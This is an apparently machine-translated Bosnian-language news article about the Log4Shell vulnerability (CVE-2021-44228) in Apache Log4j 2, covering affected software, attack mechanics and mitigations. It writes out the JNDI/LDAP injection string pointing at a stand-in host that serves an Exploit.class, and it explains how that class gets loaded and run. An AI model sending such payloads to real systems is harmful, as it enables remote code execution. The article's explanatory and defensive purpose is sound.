Log4Shell, kritična ranjivost u Apache Log4j 2 koja utiče na mnoge Java projekte

Nedavno se je objavio vijest da je identifikovana kritična ranjivost u Apache Log4j 2, koji je okarakteriziran kao popularan okvir za organiziranje registra u Java aplikacijama, koji omogućava izvršavanje proizvoljnog koda kada se posebno formatirana vrijednost upiše u registar u formatu "{jndi: URL}".

Ranjivost Značajno je jer se napad može izvesti u Java aplikacijama kojeOni bilježe vrijednosti dobivene iz vanjskih izvora, na primjer prikazivanjem problematičnih vrijednosti u porukama o grešci.

Primjećuje se da gotovo svi projekti koji koriste okvire poput Apache Struts, Apache Solr, Apache Druid ili Apache Flink su pogođeni, uključujući Steam, Apple iCloud, Minecraft klijente i servere.

Očekuje se da će ranjivost dovesti do talasa masovnih napada na poslovne aplikacije, ponavljajući istoriju kritičnih ranjivosti u okviru, Apache Struts, što je gruba procena koja se koristi u 65% veb aplikacija sa liste Fortune 100. Lista veb aplikacija kompanije uključuje već zabilježene pokušaje skeniranja mreže u potrazi za ranjivim sistemima.

Ranjivost omogućava daljinsko izvršavanje neautorizovanog koda. Log4j 2 je Java biblioteka dnevnika otvorenog koda koju je razvila Apache Foundation. Log4j 2 se široko koristi u mnogim aplikacijama i prisutan je, kao zavisnost, u mnogim servisima. To uključuje poslovne aplikacije kao i brojne usluge u oblaku.

Randori napadni tim je razvio funkcionalni exploit i bio je u mogućnosti da uspješno iskoristi ovu ranjivost u korisničkim okruženjima kao dio naše ofanzivne sigurnosne platforme. 

Ranjivosti se može pristupiti kroz mnoštvo metoda specifičnih za aplikaciju. Zaista, svaki scenario koji dozvoljava udaljenu vezu za isporuku proizvoljnih podataka koje aplikacija koja koristi Log4j biblioteku upisuje u datoteke dnevnika je podložan eksploataciji. Ova ranjivost će se vrlo vjerovatno iskoristiti u divljini i vjerovatno će utjecati na hiljade organizacija. Ova ranjivost predstavlja značajan stvarni rizik za pogođene sisteme.

Problem je otežan činjenicom da je funkcionalni exploit već objavljen, npr.Ali popravke za stabilne grane još nisu generirane. CVE identifikator još nije dodijeljen. Rješenje je uključeno samo u testnu granu log4j-2.15.0-rc1. Kao rješenje za blokiranje ranjivosti, preporučuje se postavljanje parametra Log4j2.formatMsgNoLookups na true.

problem to je bilo zbog činjenice da Log4j 2 podržava rukovanje specijalnim maskama «{}» u redovima dnevnika, u kojem JNDI upiti se mogu pokrenuti (Java imenovanje i interfejs imenika).

Analizirajući CVE-2021-44228, Randori je utvrdio sljedeće:

Podrazumevane instalacije široko korišćenog poslovnog softvera su ranjive.
Ranjivost se može pouzdano iskoristiti i bez provjere autentičnosti.
Ranjivost utiče na više verzija Log4j 2.
Ranjivost omogućava daljinsko izvršavanje koda kada korisnik pokrene aplikaciju koristeći biblioteku.

Napad se svodi na prosljeđivanje niza sa zamjenom "$ {jndi: ldap: //example.com/a}", obrađujući koju će Log4j 2 poslati LDAP zahtjev za putanju do Java klase serveru napadača.com . Putanja koju vraća napadačev server (na primjer, http://example.com/Exploit.class) će biti učitana i izvršena u kontekstu trenutnog procesa, omogućavajući napadaču da postigne proizvoljno izvršenje koda na sistemu sa pravima trenutne aplikacije.

Na kraju se spominje da ako se otkriju abnormalnosti, preporučuje se da pretpostavite da je ovo aktivan incident, da je kompromitovan i da u skladu s tim odgovorite. Nadogradnja na zakrpljene verzije Log4j 2 ili pogođenih aplikacija će eliminisati ovu ranjivost. Randori preporučuje svakoj organizaciji za koju misli da bi mogla biti pogođena da hitno nadogradi na zakrpljenu verziju.

U najnovijem ažuriranju Apache Log4j tima, preporučujemo organizacijama da urade sljedeće

  • Ažurirajte na Log4j 2.15.0
  • Za one koji ne mogu nadograditi na 2.15.0: U verzijama> = 2.10, ova ranjivost se može ublažiti postavljanjem sistemskog svojstva log4j2.formatMsgNoLookup ili varijable okruženja LOG4J_FORMAT_MSG_NO_LOOKUPS na true.
  • Za verzije 2,0-beta9 do 2.10.0, ublažavanje je uklanjanje klase JndiLookup iz putanje klase: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.

Izvor: https://www.lunasec.io/


Budite prvi koji komentarišete

Ostavite komentar

Vaša e-mail adresa neće biti objavljena. Obavezna polja su označena sa *

*

*

  1. Za podatke odgovoran: Miguel Ángel Gatón
  2. Svrha podataka: Kontrola neželjene pošte, upravljanje komentarima.
  3. Legitimacija: Vaš pristanak
  4. Komunikacija podataka: Podaci se neće dostavljati trećim stranama, osim po zakonskoj obavezi.
  5. Pohrana podataka: Baza podataka koju hostuje Occentus Networks (EU)
  6. Prava: U bilo kojem trenutku možete ograničiti, oporaviti i izbrisati svoje podatke.